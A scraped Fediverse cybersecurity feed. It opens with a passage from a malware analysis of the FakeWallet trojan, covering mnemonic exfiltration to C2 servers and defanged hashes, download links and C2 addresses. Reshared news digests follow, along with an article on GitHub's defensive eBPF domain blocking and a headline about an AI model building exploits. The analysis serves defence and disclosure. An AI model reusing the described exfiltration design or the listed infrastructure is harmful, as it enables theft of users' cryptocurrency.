The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

#1
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

-Data breach at Vercel
-New malware tries to sabotage Israel's water system but fails because it's buggy
-US government wants Mythos access
-Supreme Court hacker gets no prison time
-Ransomware kingpin arrested in Kazakhstan
-Kelp DAO hacked for $292m
-Rhea Finance hacked for $18.4m
-Tallahassee down after cyberattack
-BlueSky says DDoS attack caused outage
-Failed startups are selling their internal chats to AI labs

Podcast: risky.biz/RBNEWS553/
Newsletter: news.risky.biz/tries-to-sabota…

reshared this

in reply to Catalin Cimpanu

The media in this post is not displayed to visitors. To view it, please go to the original post.

-Sandboxed GPU process coming to Firefox
-DOJ refuses to help France's probe into X and Musk
-Russia introduces mandatory border device searches
-US wants Mythos access
-US bill would require age verification at OS level
-FISA S702 gets a 10-day extension
-DraftKings hacker sentenced to prison
-Scattered Spider member pleads guilty
-South Korea warns of Midnight, Endpoint ransomware attacks
-North Korea is recruiting foreigners for its remote IT worker schemes

Catalin Cimpanu reshared this.

in reply to Catalin Cimpanu

The media in this post is not displayed to visitors. To view it, please go to the original post.

-Malware reports on Nexcorium IoT botnet, Black Shrantac and BravoX ransomware, BORZ C2, FaceFish rootkit, SHub Stealer
-UNC1069 goes back to spear-phishing
-TeamPCP gives stolen creds to Vect ransomware group
-Hafnium APT member to be extradited to US
-BlueHammer, RedSun enter active exploitation
-Protobuf.js RCE
-EU age verification app has vulns
-Chrome exploit leaks online
-New FP-DSS attack on AMD chips
-Meta gives Burp Suite Pro to bug bounty hunters
-New MITRE Fight Fraud Framework
Questa voce è stata modificata (10 ore fa)
Cybersecurity & cyberwarfare ha ricondiviso questo.

Nel 2024 #Microsoft e Digital Europe (gruppo di interesse che raggruppa le #bigtech) hanno ottenuto un emendamento delle leggi europee

Così ora non sono pubbliche le informazioni sul consumo di elettricità e acqua dei data center

Perché? Perché sono "informazioni commercialmente sensibili"

Ma solitamente le informazioni riservate riguardano la sicurezza degli Stati, non l'interesse privato

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

E se la guerra che stai seguendo su X tra Iran e Stati Uniti fosse falsa?

📌 Link all'articolo : redhotcyber.com/post/e-se-la-g…

A cura di Chiara Nardini

#redhotcyber #news #disinformazione #fakenews #cybersecurity #hacking #malware #botnetwork

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Come GitHub usa eBPF per rendere i deploy sicuri: architettura e implementazione
#tech
spcnet.it/come-github-usa-ebpf…
@informatica


Come GitHub usa eBPF per rendere i deploy sicuri: architettura e implementazione


Quando si parla di deployment safety, pochi casi studio sono più istruttivi di quello di GitHub: un’azienda che ospita il proprio codice sorgente sulla piattaforma che sta cercando di aggiornare. Questo crea una dipendenza circolare potenzialmente devastante — durante un’interruzione del servizio, il deploy che dovrebbe ripristinarlo potrebbe fallire proprio perché si appoggia alla piattaforma non disponibile.

Un recente articolo del blog di ingegneria di GitHub descrive come il team abbia risolto questo problema usando eBPF (extended Berkeley Packet Filter), una tecnologia kernel Linux che permette di eseguire codice sandboxed direttamente nel kernel senza modificarlo.

Il problema delle dipendenze nei deploy


GitHub ha identificato tre categorie di dipendenze problematiche nei propri script di deploy:

  • Dipendenze dirette: script che scaricano binari da github.com durante il deploy
  • Dipendenze nascoste: tool che controllano aggiornamenti su GitHub senza una richiesta esplicita
  • Dipendenze transitive: servizi interni che chiamano dipendenze esterne in modo indiretto

Il rischio è evidente: se github.com non è disponibile e il deploy ne dipende, si entra in un loop da cui è difficile uscire. Serviva un meccanismo per rilevare — e bloccare — queste dipendenze prima che causassero problemi in produzione.

eBPF: filtraggio kernel-level senza modificare il kernel


eBPF è un framework che consente di iniettare programmi nel kernel Linux in modo sicuro e verificato. Originariamente nato per il filtraggio dei pacchetti di rete (da cui il nome “Berkeley Packet Filter”), si è evoluto in una piattaforma generale per osservabilità, sicurezza e networking a bassa latenza.

GitHub ha sfruttato due tipi specifici di programmi eBPF:

  • BPF_PROG_TYPE_CGROUP_SKB: monitora il traffico in uscita (egress) e applica regole di blocco IP basate sui risultati della risoluzione DNS
  • BPF_PROG_TYPE_CGROUP_SOCK_ADDR: intercetta le query DNS e le reindirizza a un proxy userspace che valuta le richieste rispetto a una lista di domini bloccati

I cgroup Linux vengono usati per isolare i processi di deploy. A questi cgroup vengono poi agganciate (attached) le mappe e i programmi eBPF, che possono così osservare e controllare il traffico di rete generato da quei processi specifici.

L’architettura del sistema


Il flusso di funzionamento è il seguente:

  1. Un processo di deploy tenta di risolvere un nome di dominio (es. github.com)
  2. Il programma eBPF intercetta la query DNS tramite BPF_PROG_TYPE_CGROUP_SOCK_ADDR
  3. La query viene reindirizzata a un proxy userspace
  4. Il proxy verifica il dominio rispetto alla policy attiva
  5. Se il dominio è nella lista bloccata, la risposta viene falsificata (restituendo un IP non raggiungibile)
  6. Il programma BPF_PROG_TYPE_CGROUP_SKB monitora il traffico IP per rafforzare il blocco
  7. Tutte le violazioni vengono loggate con PID, nome del processo, comando e transaction ID DNS

Particolarmente elegante è l’uso di mappe eBPF (BPF maps) per condividere stato tra i programmi kernel e il proxy userspace, consentendo aggiornamenti dinamici alla policy senza dover ricaricare i programmi.

Implementazione con cilium/ebpf e Go


Per semplificare lo sviluppo, il team ha usato la libreria Go cilium/ebpf, uno dei wrapper eBPF più maturi disponibili oggi. I programmi eBPF sono scritti in C e compilati con bpf2go, uno strumento che genera automaticamente le struct Go corrispondenti per interagire con le mappe e i programmi nel kernel.

Un esempio semplificato di come si carica e aggancia un programma eBPF con cilium/ebpf:

// Carica i programmi eBPF compilati
objs := bpfObjects{}
if err := loadBpfObjects(&objs, nil); err != nil {
    log.Fatalf("loading objects: %v", err)
}
defer objs.Close()

// Aggancia il programma al cgroup del processo di deploy
l, err := link.AttachCgroup(link.CgroupOptions{
    Path:    "/sys/fs/cgroup/deploy",
    Attach:  ebpf.AttachCGroupInetEgress,
    Program: objs.FilterEgress,
})
if err != nil {
    log.Fatalf("attaching cgroup: %v", err)
}
defer l.Close()

log.Println("eBPF program attached, monitoring egress traffic...")

La policy viene aggiornata dinamicamente scrivendo nelle mappe eBPF, senza necessità di riavviare nulla:
// Blocca un dominio aggiungendolo alla mappa eBPF
key := []byte("github.com")
value := uint32(1) // 1 = blocked
if err := objs.BlockedDomains.Put(key, value); err != nil {
    log.Fatalf("updating map: %v", err)
}

Questo approccio consente di modificare le policy a runtime, ad esempio durante un incidente, aggiungendo o rimuovendo domini dalla blocklist senza interrompere i processi in esecuzione.

Correlazione PID e DNS transaction ID


Uno degli aspetti più sofisticati dell’implementazione è la capacità di correlare le query DNS bloccate al processo specifico che le ha generate. Il sistema usa una mappa eBPF per tenere traccia della coppia (PID, DNS transaction ID): quando il proxy userspace vede una query, può risalire al processo che l’ha originata e loggare il percorso completo dell’esecuzione, incluso il comando invocato.

Questo livello di visibilità è fondamentale per il debugging: anziché sapere solo che “qualcosa ha chiamato github.com”, gli ingegneri possono vedere esattamente quale script, a quale riga, stava tentando di accedere alla risorsa bloccata.

Risultati dopo sei mesi di rollout


Dopo sei mesi di utilizzo in produzione, il sistema ha permesso a GitHub di:

  • Rilevare dipendenze problematiche prima che causino guasti durante i deploy
  • Identificare tool e script che accedevano silenziosamente a github.com durante le operazioni di deploy
  • Migliorare la velocità di recovery dagli incidenti, eliminando la circolarità delle dipendenze
  • Costruire un inventario delle dipendenze esterne degli script di deploy, utile per la pianificazione della resilienza


Perché eBPF è la scelta giusta per questo caso d’uso


Soluzioni alternative avrebbero avuto limitazioni significative: un firewall a livello di rete avrebbe bloccato il traffico in modo troppo grossolano, impedendo anche il normale funzionamento dei servizi. Proxy applicativi avrebbero richiesto modifiche agli script di deploy. eBPF consente invece di applicare policy granulari, per-processo e dinamiche, senza modificare gli script esistenti né aggiungere overhead significativo alle operazioni normali.

Il fatto che sia una tecnologia kernel-level la rende anche difficile da aggirare accidentalmente: non è sufficiente usare una libreria di networking alternativa o bypassare il resolver DNS del sistema per evadere i controlli.

Conclusioni


L’approccio di GitHub dimostra come eBPF stia trasformando la sicurezza e l’osservabilità delle infrastrutture moderne. Non più solo strumento per profiling di rete, eBPF diventa un componente architetturale per l’enforcement di policy a runtime, invisibile alle applicazioni e aggiornabile senza downtime.

Per chi gestisce infrastrutture critiche o pipeline CI/CD complesse, questo caso studio offre un modello replicabile: usare eBPF per imporre vincoli ai processi di deploy e garantire che il sistema possa sempre ripristinarsi indipendentemente dallo stato dei servizi che ospita.

Fonte: How GitHub uses eBPF to improve deployment safety — GitHub Engineering Blog


Cybersecurity & cyberwarfare ha ricondiviso questo.

AI #Model #Claude #Opus turns bugs into exploits for just $2,283
securityaffairs.com/191018/ai/…
#securityaffairs #hacking

DIY Nuclear Battery with PV Cells and Tritium


The media in this post is not displayed to visitors. To view it, please log in.

Nuclear batteries are pretty simple devices that are conceptually rather similar to photovoltaic (PV) solar, just using the radiation from a radioisotope rather than solar radiation. It’s also possible to make your own nuclear battery, with [Double M Innovations] putting together a version that uses standard PV cells combined with small tritium vials as radiation source.

The PV cells are the amorphous type, rated for 2.4 V, which means that they’re not too fussy about the exact wavelength at the cost of some general efficiency. You generally find these on solar-powered calculators for this reason. Meanwhile the tritium vials have an inner coating of phosphor so they glow. With a couple of these vials sandwiched in between two amorphous cells you thus have technically something that you could call a ‘nuclear battery’.

With an approximately 12 year half-life, tritium isn’t amazingly radioactive and thus the glow from the phosphor is also not really visible in daylight. With this DIY battery wrapped up in aluminium foil to cover it up fully, it does appear to generate some current in the nanoamp range, with a single-cell and series voltage of about 0.5 V.

A 170 VAC-rated capacitor is connected to collect some current over time, with just under 3 V measured after a night of charging. In how far the power comes from the phosphor and how much from sources like thermal radiation is hard to say in this setup. However, if you can match up the PV cell’s bandgap a bit more with the radiation source, you should be able to pull at least a few mW from a DIY nuclear battery, as seen with commercial examples.

This isn’t the first time we’ve seen this particular trick. A few years ago, a similar setup was used to power a handheld game, as long as you don’t mind waiting a few months for it to charge.

youtube.com/embed/MxPEDF7BRCo?…


hackaday.com/2026/04/20/diy-nu…

Il modello dell’EDPB sulla DPIA: pro o contro accountability?


@Informatica (Italy e non Italy)
Il modello DPIA dell’EDPB, in consultazione pubblica, riapre il dibattito sull’equilibrio tra accountability e standardizzazione nel GDPR. Sarà uno strumento operativo o un nuovo benchmark implicito? Analisi di impatti, criticità e possibili evoluzioni per le organizzazioni
L'articolo Il

Questo account è gestito da @informapirata ⁂ e propone e ricondivide articoli di cybersecurity e cyberwarfare, in italiano e in inglese

I post possono essere di diversi tipi:

1) post pubblicati manualmente
2) post pubblicati da feed di alcune testate selezionate
3) ricondivisioni manuali di altri account
4) ricondivisioni automatiche di altri account gestiti da esperti di cybersecurity

NB: purtroppo i post pubblicati da feed di alcune testate includono i cosiddetti "redazionali"; i redazionali sono di fatto delle pubblicità che gli inserzionisti pubblicano per elogiare i propri servizi: di solito li eliminiamo manualmente, ma a volte può capitare che non ce ne accorgiamo (e no: non siamo sempre on line!) e quindi possono rimanere on line alcuni giorni. Fermo restando che le testate che ricondividiamo sono gratuite e che i redazionali sono uno dei metodi più etici per sostenersi economicamente, deve essere chiaro che questo account non riceve alcun contributo da queste pubblicazioni.

reshared this